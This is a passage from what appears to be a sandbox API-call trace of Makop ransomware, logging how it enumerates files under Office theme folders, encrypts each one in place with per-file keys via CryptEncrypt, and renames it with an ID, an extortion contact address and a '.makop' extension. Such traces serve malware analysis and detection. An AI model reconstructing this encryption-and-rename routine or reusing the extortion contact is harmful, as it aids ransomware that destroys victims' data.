hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0097.297] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.297] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0097.297] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0097.298] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0097.298] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0097.298] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0097.298] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0097.298] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.299] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.299] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.299] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x211, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x211, lpOverlapped=0x0) returned 1 [0097.299] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x220, dwBufLen=0x220 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x220) returned 1 [0097.299] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.299] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x220, lpOverlapped=0x0) returned 1 [0097.299] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.299] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x2e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.299] SetEndOfFile (hFile=0x138) returned 1 [0097.306] GetProcessHeap () returned 0x48a0000 [0097.306] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0097.306] GetProcessHeap () returned 0x48a0000 [0097.306] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0097.306] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 116 [0097.306] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.inf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0097.312] CloseHandle (hObject=0x138) returned 1 [0097.312] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0097.312] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0097.312] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.313] GetProcessHeap () returned 0x48a0000 [0097.313] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0097.313] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0097.313] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0097.313] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xd, lpOverlapped=0x0) returned 1 [0097.320] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.320] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.320] GetProcessHeap () returned 0x48a0000 [0097.320] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0097.320] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0097.320] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.320] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0097.320] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0097.320] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0097.320] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0097.320] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0097.321] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0097.321] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.321] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.321] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.321] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x543, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x543, lpOverlapped=0x0) returned 1 [0097.321] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x550, dwBufLen=0x550 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x550) returned 1 [0097.321] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.321] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x550, lpOverlapped=0x0) returned 1 [0097.321] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.322] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x624, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.322] SetEndOfFile (hFile=0x138) returned 1 [0097.328] GetProcessHeap () returned 0x48a0000 [0097.328] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0097.328] GetProcessHeap () returned 0x48a0000 [0097.328] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0097.328] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 119 [0097.328] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0097.329] CloseHandle (hObject=0x138) returned 1 [0097.329] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6722, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0097.329] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0097.330] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.330] GetProcessHeap () returned 0x48a0000 [0097.330] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0097.330] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0097.330] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0097.330] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xe, lpOverlapped=0x0) returned 1 [0097.335] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.335] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.335] GetProcessHeap () returned 0x48a0000 [0097.335] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0097.335] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0097.336] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.336] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0097.336] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0097.336] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0097.336] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0097.336] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0097.336] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0097.337] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.337] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.337] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.337] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6722, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x6722, lpOverlapped=0x0) returned 1 [0097.339] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x6730, dwBufLen=0x6730 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x6730) returned 1 [0097.340] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.340] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6730, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x6730, lpOverlapped=0x0) returned 1 [0097.340] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.340] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x6804, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.340] SetEndOfFile (hFile=0x138) returned 1 [0097.347] GetProcessHeap () returned 0x48a0000 [0097.347] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0097.347] GetProcessHeap () returned 0x48a0000 [0097.347] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0097.348] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0097.348] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0097.349] CloseHandle (hObject=0x138) returned 1 [0097.349] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6722, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0097.349] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0097.349] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN", cAlternateFileName="")) returned 1 [0097.350] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN") returned 64 [0097.350] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*.*") returned 68 [0097.350] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0097.352] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.352] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc37d800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x52008f10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc37d800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x12dee, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN.ELM", cAlternateFileName="")) returned 1 [0097.352] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM") returned 77 [0097.352] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.352] GetProcessHeap () returned 0x48a0000 [0097.353] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0097.353] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0097.353] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0097.353] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x2, lpOverlapped=0x0) returned 1 [0097.357] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.357] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.357] GetProcessHeap () returned 0x48a0000 [0097.358] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0097.358] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0097.358] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.358] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0097.358] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0097.358] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0097.358] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0097.358] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0097.359] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0097.359] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.359] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.359] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.359] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x12dee, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x12dee, lpOverlapped=0x0) returned 1 [0097.361] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x12df0, dwBufLen=0x12df0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x12df0) returned 1 [0097.362] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.362] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x12df0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x12df0, lpOverlapped=0x0) returned 1 [0097.363] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.363] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x12ec4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.363] SetEndOfFile (hFile=0x138) returned 1 [0097.370] GetProcessHeap () returned 0x48a0000 [0097.370] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0097.370] GetProcessHeap () returned 0x48a0000 [0097.370] HeapFree (in: 